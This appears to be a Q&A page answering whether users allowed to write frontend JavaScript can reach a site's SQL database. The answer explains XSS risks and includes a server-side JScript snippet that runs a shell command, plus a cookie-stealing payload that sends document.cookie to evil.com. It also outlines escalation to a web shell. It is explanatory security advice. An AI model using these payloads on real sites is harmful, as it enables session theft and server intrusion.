Search code examples
javascriptsqlpenetration-testing

Can end user contact SQL DB if he can write his own Javascript?

I have a website on which i let the user edit the frontend of the website. The user only has access to an editor, not to the server its hosted on.

The user asked me to also allow javascript. This means the user can create his own scripts on the frontend.

What i was worrying was that the user may be use this to do malicious stuff. i'm afraid that if the user knows stuff well enough he might screw over the site.

My questions: - Let's say the user has the connection string of the SQL DB, can he manage to perform queries on that server ? Normally this should be NO as javascript is client side right?

I found the following snippet: 

var connection = new ActiveXObject("ADODB.Connection") ;

var connectionstring="Data Source=<server>;Initial Catalog=<catalog>;User ID=<user>;Password=<password>;Provider=SQLOLEDB";

connection.Open(connectionstring);
var rs = new ActiveXObject("ADODB.Recordset");

rs.Open("SELECT * FROM table", connection);
rs.MoveFirst
while(!rs.eof)
{
   document.write(rs.fields(1));
   rs.movenext;
}

rs.close;
connection.close;

Let's say my connection string looks like

Data Source=(local);Initial Catalog=TestDB;Application Name=TestDB;Integrated Security=True

I have tried to make the script run ,but luckily it showed a blank page. but is this since I'm maybe doing something wrong? or is it indeed cause javascript is client sided and will not allowing doing that sort of stuff?

Other question: - what examples of other risks did i take allowing him to use javascript on the front end? if it's true that javascript is an entirely client side- language, it means that he couldn't do anything else risky right?

Solution

  • JavaScript runs on client-side and it can't affect your server's security directly. However, it can pose a threat to your site visitors, users and administrators. JavaScript attacks are known as XSS attacks and can have various implications:

    The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

    The code in your question seems to use ActiveXObject to create a database connection. If an attacker has the database credentials (the connection string) and the SQL server port is open, then yes they could access the database, but at this point they could use any SQL client.

    However, It is possible to run JScript (Microsoft's version of JavaScript) on IIS servers. If the code is placed in a script tag with a runat="server" attribute, on an .asp page, then it would be executed on the server and it could reach the database. For example, this code: 

    <html>
<script language="javascript" runat="server">
    function exploit() {
        var shell = new ActiveXObject("WScript.shell");
        var cmd = shell.Exec("ipconfig");
        Response.Write("<pre>" + cmd.StdOut.ReadAll() + "</pre>");
    }
</script>
<% exploit() %>
</html>

    would display the server's IP configuration, if it was executed on .asp or .aspx pages. But if an attacker can edit .asp / .aspx pages then it's already too late.

    Assuming that they can't edit active server pages, and they don't have the credentials or access to the SQL server, they shouldn't be able to access your database directly with JavaScript. However, they could use XSS attacks to elevate their privileges.

    A possible attack scenario:

    The attacker writes a script that collects user cookies, and sends them to their server. 

    var cookies = document.cookie;
var addr = 'http://evil.com/log.php?cookies=' + escape(cookies);
document.write('<img src="' + addr + '" />');

    With this simple code, the attacker could log the cookies of any user that visits the page hosting this malicious script, and use them to login to their account or perform other actions using their privileges.

    If an administrator visits this page, the attacker could use their cookies to access the control pannel as administrator. Many CMSs (including WordPress and Joomla) allow administrators to write or modify PHP code on the server, so it may be possible for the attacker to upload a web shell. They could even automate the whole proccess by making XHR requests from the administrator's browser.

    If they manage to upload a web shell, they can execute commands and code, read/write files and access SQL servers. So now they can access the databse, using the same credentials and IP as your user account. Of course there may be mechanisms (AV, restrictions, etc) that would prevent this, but a determined attacker could find ways to bypass them.

    In conclusion, you should never run untrusted code. Allowing untrusted JavaScript code on your site can have very bad consequences. Even if the attacker can't access your database or harm your site, they still could harm your visitors. You can visit beef to see how dangerous XSS attacks can be.